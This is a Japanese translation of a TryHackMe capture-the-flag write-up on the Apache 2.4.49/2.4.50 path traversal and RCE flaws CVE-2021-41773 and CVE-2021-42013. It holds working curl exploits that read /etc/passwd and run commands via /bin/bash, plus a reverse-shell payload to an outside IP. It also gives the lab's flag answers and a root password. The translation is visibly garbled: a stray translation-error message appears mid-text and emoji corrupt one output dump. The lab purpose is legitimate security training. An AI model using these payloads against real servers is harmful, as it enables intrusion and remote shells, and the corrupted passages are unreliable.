
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
CTF_WRITEUPS/TryHackMe /CVE-2021-41773/
簡単な歴史
2021年10月5日、Apache HTTP Server v2.4.49に対するパストラバーサル攻撃を詳述したCVEが公開されました。CVE-2021-41773という番号が割り当てられ、以下の説明とともに公開されました。
Apache HTTP Server 2.4.49のパス正規化に加えられた変更に欠陥が見つかりました。攻撃者はパストラバーサル攻撃を使用して、想定されるドキュメントルート外のファイルにURLをマッピングできる可能性があります。ドキュメントルート外のファイルが「require all denied」によって保護されていない場合、これらのリクエストは成功する可能性があります。さらに (sic) この欠陥により、CGIスクリプトのような解釈されるファイルのソースが漏洩する可能性があります。この問題は実際に悪用されていることが知られています。この問題はApache 2.4.49にのみ影響し、それ以前のバージョンには影響しません。
これを分解して、これが私たちにとって実際に何を意味するのか見てみましょう。
たくさんの修正を経て...
そこでApacheはこのバグを修正し、v2.4.50をリリースしました。これで終わりですよね? いや、そうでもありません。わずか2日後の10月7日、先のCVEを引用した新しいCVEが公開されました。今回のものは、以前のパストラバーサル攻撃に対する修正が不完全であり、問題のパスがエイリアスディレクティブを使用してURLをファイルシステムにマッピングしている場合、依然としてトラバースできる可能性があると述べています。このCVEにはCVE-2021-42013という番号が割り当てられ、説明は以下のとおりです。
Apache HTTP Server 2.4.50におけるCVE-2021-41773の修正が不十分であることが判明しました。攻撃者はパストラバーサル攻撃を使用して、Alias風ディレクティブによって設定されたディレクトリの外部にあるファイルにURLをマッピングできる可能性があります。これらのディレクトリ外のファイルが通常のデフォルト設定である「require all denied」によって保護されていない場合、これらのリクエストは成功する可能性があります。これらのエイリアスパス (sic) でCGIスクリプトも有効になっている場合、リモートコード実行が可能になる可能性があります。この問題はApache 2.4.49とApache 2.4.50にのみ影響し、それ以前のバージョンには影響しません。
前回と同様に、ここからいくつかのことを学べます。
この混乱を処理している間に、次のタスクで必要な構成について見ていきます。
下の質問に答えてください
理論のちょっとした話
パストラバーサルエクスプロイトは、パス解決や正規化の欠陥を悪用して、通常はアクセスできないリソースにアクセスすることを目的とした攻撃です。通常、この種の攻撃は、.. 構文を使用して、想定されたルートを超えて後方に移動(トラバースとも呼ばれます)することで悪用します。
正規化? なんですか?
通常、コードがファイルを見つけるためのパスを提供する場合、絶対パスが必要です。これを正規パスと呼びましょう。代わりに相対パスが与えられた場合、そのパスを使用するOSライブラリが目的のリソースを見つけられるように、正規の形式に正規化する必要があります。もちろんこれは単純化しすぎですが、要点は変わりません。
URLの正規化
HTTPサーバーは、提供する正しいファイルを見つけるために、URLをファイルシステム上の正規パスに変換する必要があります。ドキュメントルートを超えてトラバースできないようにするフィルタは確かにいくつかありますが、いくつかのユースケースは簡単に見落とされる可能性があります。この場合、エクスプロイトはURLエンコーディング(これについては後で説明します)だけでなく、Aliasモジュールのパス正規化の欠陥も利用しています(おそらく)
URLエンコーディングに関する余談
RFC 3986のセクション2で定義されているURLエンコーディングは、URL内の特殊文字や予約文字をエンコードするためのスキームです。たとえば、URL内のスペースは+文字としてエンコードされます(特にクエリパラメータで)。実際のプラス記号をエンコードしたい場合は、「パーセントエンコーディング」として知られる方法でエンコードする必要があります。これは単に、文字のUS-ASCII 16進コードの前に%記号を付けるだけです。この例では、+記号は%2Bとしてエンコードできます。
任意の文字をURLエンコードでき、完全にURLエンコードされたURLは、エンコードされていないバージョンと機能的に同等です。RFCから引用:2つのURIが、パーセントエンコードされたオクテットで使用される16進数字の大文字小文字のみが異なる場合、それらは同等です。
それでApacheでは何が起こったのか?
Apacheサーバーのパス正規化モジュールに最近加えられた変更により、特別に細工されたURLがフィルタをバイパスしてドキュメントルートを越えてトラバースできるようになり、構成が許せばシステム上の任意のファイル読み取りが可能になりました。さらに、CGIモジュールが有効になっている場合は、任意のファイル実行も可能です!
下の質問に答えてください
A) サーバー上で処理される任意のリモートファイルを含める。 B) サーバー上で処理される任意のローカルファイルを含める。 C) サーバーによって任意のファイルが公開されることを許可する。 D) 上記のいずれでもない。
楽しみのためのApacheハッキング
さて、理論は終わったので、この欠陥を悪用してみましょう。まず、脆弱なバージョンのApacheが必要です。ありがたいことに、これにはdockerがあります:)```
user@machine$ docker pull httpd:2.4.49
2.4.49: Pulling from library/httpd
07aded7c29c6: Already exists
05bb40c8f148: Already exists
0827b74117da: Already exists
35a526fdcc7d: Pull complete
59fed288cd32: Pull complete
Digest: sha256:dcba0d12e2362fb0c50ec524ae8aa1cca4a4ba7216617a57e7bbca20767e79cc
Status: Downloaded newer image for httpd:2.4.49
docker.io/library/httpd:2.4.49
**設定**
このエクスプロイトを機能させるには、ドキュメントルート外のファイルへのアクセスを許可するようにApacheを設定する必要があります。特定のディレクトリを指定して正確に設定することもできますし、YOLO方式ですべてへのアクセスを許可することもできます。私たちの目的には、すべてへのアクセス許可で十分です。まず、コンテナを起動して設定を確認しましょう。これらの変更は、脆弱な両バージョンのApacheで機能することに注意してください。```
user@machine$ docker run --name vuln-httpd -p 8080:80 -d httpd:2.4.49
a4dfc0376d93dc62183982a527b0bef62543e7a91178116bb0480a42ecc0c8dd
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "Require all denied" httpd.conf
246-# <Directory> blocks below.
247-#
248-<Directory />
249- AllowOverride none
250: Require all denied
251-</Directory>
252-
253-#
254-# Note that from this point forward you must specifically allow
--
303-# The following lines prevent .htaccess and .htpasswd files from being
304-# viewed by Web clients.
305-#
306-<Files ".ht*">
307: Require all denied
308-</Files>
309-
310-#
311-# ErrorLog: The location of the error log file.
user@machine$ sed "250s/denied/granted/" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
余談ですが、設定はいつでも手動で変更できます。変更したいのは、次のように書かれている部分です:``` AllowOverride none Require all denied
そして、`denied` を `granted` に置き換えます。これにより、Apache はファイルシステム全体にアクセスできるようになります(これは間違いなく良いアイデアではないので、本番環境では絶対にやらないでください。絶対に)。
**あのおいしい RCE の設定**
アクセス制御を変更するだけでは、データが露出するだけで、RCE は得られません。この小さな PoC で RCE を得るには、アクセス許可に加えて CGI モジュールを有効化するだけで済みます。これにより、CGI モジュールは、スクリプトの内容を単に表示するのではなく、呼び出したときにスクリプトを実行するようになります。CGI を有効にするには、`LoadModule` 設定をコメント解除するだけです。先ほど変更したコンテナがまだある場合は、次のようにします:```
user@machine$ docker cp vuln-httpd:/usr/local/apache2/conf/httpd.conf .
user@machine$ grep -C4 -n "mod_cgi" httpd.conf
180-#LoadModule asis_module modules/mod_asis.so
181-#LoadModule info_module modules/mod_info.so
182-#LoadModule suexec_module modules/mod_suexec.so
183-<IfModule !mpm_prefork_module>
184: #LoadModule cgid_module modules/mod_cgid.so
185-</IfModule>
186-<IfModule mpm_prefork_module>
187: #LoadModule cgi_module modules/mod_cgi.so
188-</IfModule>
189-#LoadModule dav_fs_module modules/mod_dav_fs.so
190-#LoadModule dav_lock_module modules/mod_dav_lock.so
191-#LoadModule vhost_alias_module modules/mod_vhost_alias.so
--
385-
386-<IfModule cgid_module>
387- #
388- # ScriptSock: On threaded servers, designate the path to the UNIX
389: # socket used to communicate with the CGI daemon of mod_cgid.
390- #
391- #Scriptsock cgisock
392-</IfModule>
393-
user@machine$ sed "184,187s/#//" httpd.conf > httpd.new.conf
user@machine$ docker cp http.new.conf vuln-httpd:/usr/local/apache2/conf/httpd.conf
user@machine docker container restart vuln-httpd
vuln-httpd
もちろん、利用可能なテキストエディタを使ってファイルを変更しても構いません。コンテナ内にはテキストエディタがないため、grep/sed 方式はコンテナ内のシェルで動作します。
いよいよエクスプロイトへ!
コンテナをセットアップしたので、このCVEのエクスプロイトに取り掛かることができます(ようやく)。方法は非常に簡単で、トラバース中に各URLパスセグメントの . 記号の1つをURLエンコードするというものです。また、エイリアスされたパスからトラバースする必要があります。ありがたいことに、設定ファイルを読むと cgi-bin パスがデフォルトでエイリアスされていることがわかるので、それを使いましょう! エクスプロイトはバージョン2.4.49と2.4.50で若干異なりますが、後者は前者でも動作します。
Apache 2.4.49(CGI無効)
CGIが無効な場合、ファイルの読み取りのみが可能です。curlを使用して、アクセスしたいファイルに単純にアクセスし、各パスセグメントの . の1つをURLエンコードします。```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd'
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/etc/passwd HTTP/1.1 Host: localhost:8080 User-Agent: curl/7.74.0 Accept: /
**Apache 2.4.49(CGI 有効時)**
CGI が有効だと、モジュールが取得したファイルを実行しようとするため、状況はより複雑になります。/etc/passwd のようなプレーンテキストの場合、これは問題になる可能性があります :)。コードを実行するには、ボディ内のコマンドを指定して単純に `sh` または `bash` を呼び出せばよいです。クライアントが結果の表示方法を認識できるように、Content-Type レスポンスヘッダーも出力する必要があることに注意してください。```
user@machine$ curl -v 'http://localhost:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /etc/passwd' -H "Content-Type: text/plain"
* Trying 127.0.0.1:8080...
* Connected to localhost (127.0.0.1) port 8080 (#1)
> POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1
> Host: localhost:8080
> User-Agent: curl/7.74.0
> Accept: */*
> Content-Type: text/plain
> Content-Length: 52
>
* upload completely sent off: 52 out of 52 bytes
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Mon, 11 Oct 2021 12:22:34 GMT
< Server: Apache/2.4.49 (Unix)
< Transfer-Encoding: chunked
< Content-Type: text/plain
<
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
* Connection #1 to host localhost left intact
Apache 2.4.50
この特定の例はバージョン2.4.50で修正されました。ただし、その修正は不完全で、URLの二重エンコーディングを考慮していませんでした。この場合、前のバージョンと同じ構造を使用して、次のパスを指定できます:``` user@machine$ curl 'http://localhost:8080/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd' root❌0:0:root:/root:/bin/bash daemon❌1:1:daemon:/usr/sbin:/usr/sbin/nologin bin❌2:2:bin:/bin:/usr/sbin/nologin sys❌3:3:sys:/dev:/usr/sbin/nologin sync❌4:65534:sync:/bin:/bin/sync games❌5:60:games:/usr/games:/usr/sbin/nologin man❌6:12👨/var/cache/man:/usr/sbin/nologin lp❌7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail❌8:8:mail:/var/mail:/usr/sbin/nologin news❌9:9:news:/var/spool/news:/usr/sbin/nologin uucp❌10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy❌13:13:proxy:/bin:/usr/sbin/nologin www-data❌33:33:www-data:/var/www:/usr/sbin/nologin backup❌34:34:backup:/var/backups:/usr/sbin/nologin list❌38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc❌39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats❌41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody❌65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt❌100:65534::/nonexistent:/usr/sbin/nologin
注意深く見ると、URLが `%%32%65` から `%2e.` にデコードされていることがわかります。これによりフィルターコードをバイパスし、Webサーバーのルートディレクトリの外へトラバースできます。
**以下の質問に答えてください**
1. **リモートコード実行を行うために有効にする必要があるモジュールは何ですか?**
- **mod_cgi**
---
### タスク 4: 実技試験
設定は少し面倒なので、すべてこちらで済ませてあります!このタスクに添付されたVM(サブスクライバーVMは正常に起動するまで最大4分、無料VMは7分お待ちください)には、次のように構成された4つの脆弱なApacheサーバーがあります。
Apache 2.4.49 without CGI: `http://MACHINE_IP:8080`
Apache 2.4.49 with CGI: `http://MACHINE_IP:8081`
Apache 2.4.50 without CGI: `http://MACHINE_IP:8082`
Apache 2.4.50 with CGI: `http://MACHINE_IP:8083`
各サーバーのルートディレクトリには `flag.txt` という名前のフラグがあります。それらをすべて見つけてください。
ボーナス目標として、CGI対応サーバーのいずれかで実際のシェルを取得してみてください。ポート8083のサーバーには、ルートフラグも隠されています。
***以下の質問に答えてください***
1. **ポート8080のフラグは何ですか?**
- ***THM{724V3R51N6_P4TH5_F02_FUN}***```
$ curl -v http://10.10.107.169:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt
- Trying 10.10.107.169:8080...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.107.169 (10.10.107.169) port 8080 (#0)
> GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/flag.txt HTTP/1.1
> Host: 10.10.107.169:8080
> User-Agent: curl/7.67.0
> Accept: _/_
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Wed, 10 Nov 2021 08:57:26 GMT
< Server: Apache/2.4.49 (Unix)
< Last-Modified: Mon, 11 Oct 2021 09:16:12 GMT
< ETag: "1d-5ce102e25be36"
< Accept-Ranges: bytes
< Content-Length: 29
< Content-Type: text/plain
<
{ [29 bytes data]
100 29 100 29 0 0 29 0 0:00:01 --:--:-- 0:00:01 29THM{724V3R51N6_P4TH5_F02_FUN}
- Connection #0 to host 10.10.107.169 left intact
THM{2C3_F20M_C61}``` $ curl -v 'http://10.10.107.169:8081/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash' -d 'echo Content-Type: text/plain; echo; cat /flag.txt' -H "Content-Type: text/plain"
Trying 10.10.107.169:8081...
TCP_NODELAY set % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0* Connected to 10.10.107.169 (10.10.107.169) port 8081 (#0)
POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/bash HTTP/1.1 Host: 10.10.107.169:8081 User-Agent: curl/7.67.0 Accept: / Content-Type: text/plain Content-Length: 50
} [50 bytes data]
upload completely sent off: 50 out of 50 bytes
Mark bundle as not supporting multiuse < HTTP/1.1 200 OK < Date: Wed, 10 Nov 2021 09:01:11 GMT < Server: Apache/2.4.49 (Unix) < Transfer-Encoding: chunked < Content-Type: text/plain < { [23 bytes data] 100 67 0 17 100 50 18 54 --:--:-- --:--:-- --:--:-- 74THM{2C3_F20M_C61}
Connection #0 to host 10.10.107.169 left intact
3. **ポート8082のフラグは何ですか?**
- ***THM{D0UBL3_3NC0D1N6_F7W}***```
$ curl 'http://10.10.37.52:8082/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/flag.txt'
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 24 100 24 0 0 23 0 0:00:01 0:00:01 --:--:-- 23THM{D0UBL3_3NC0D1N6_F7W}
5. **シェルを取得できました!(実際には確認できないので、その点は信じます :))**
***回答不要***
6. **Apacheサーバーはどのユーザーとして実行されていますか?**
- ***daemon***
7. **8083番ポートのマシンでルートフラグを見つけてください。**
- ***THM{P21V_35C_F20M_4P4CH3_15_FUN}***```
$ curl -v 'http://10.10.37.52:8083/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash' -d 'echo; bash -i >& /dev/tcp/10.17.31.150/4242 0>&1'
- Trying 10.10.37.52:8083...
- TCP_NODELAY set
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
0 0 0 0 0 0 0 0 --:--:-- --:--:-- --:--:-- 0\* Connected to 10.10.37.52 (10.10.37.52) port 8083 (#0)
> POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash HTTP/1.1
> Host: 10.10.37.52:8083
> User-Agent: curl/7.67.0
> Accept: _/_
> Content-Length: 48
> Content-Type: application/x-www-form-urlencoded
>
> } [48 bytes data]
- upload completely sent off: 48 out of 48 bytes
- Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Fri, 12 Nov 2021 16:20:43 GMT
< Server: Apache/2.4.50 (Unix)
< Transfer-Encoding: chunked
<
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0{ [0 bytes data]
- transfer closed with outstanding read data remaining
100 48 0 0 0 48 0 0 --:--:-- 0:01:05 --:--:-- 0
- Closing connection 0
curl: (18) transfer closed with outstanding read data remaining
入力内容が提供されていません。翻訳するテキストが「INPUT:」の後に含まれていないため、翻訳を実行できません。``` $ ncat -lvp 4242 Ncat: Version 7.91 ( https://nmap.org/ncat ) Ncat: Listening on :::4242 Ncat: Listening on 0.0.0.0:4242 Ncat: Connection from 10.10.37.52. Ncat: Connection from 10.10.37.52:35836. bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell daemon@18c7613b3859:/bin$ cd /root cd /root bash: cd: /root: Permission denied daemon@18c7613b3859:/bin$ su root su root Password: ApacheCVE
cd /root
ls root.txt cat root.txt THM{P21V_35C_F20M_4P4CH3_15_FUN}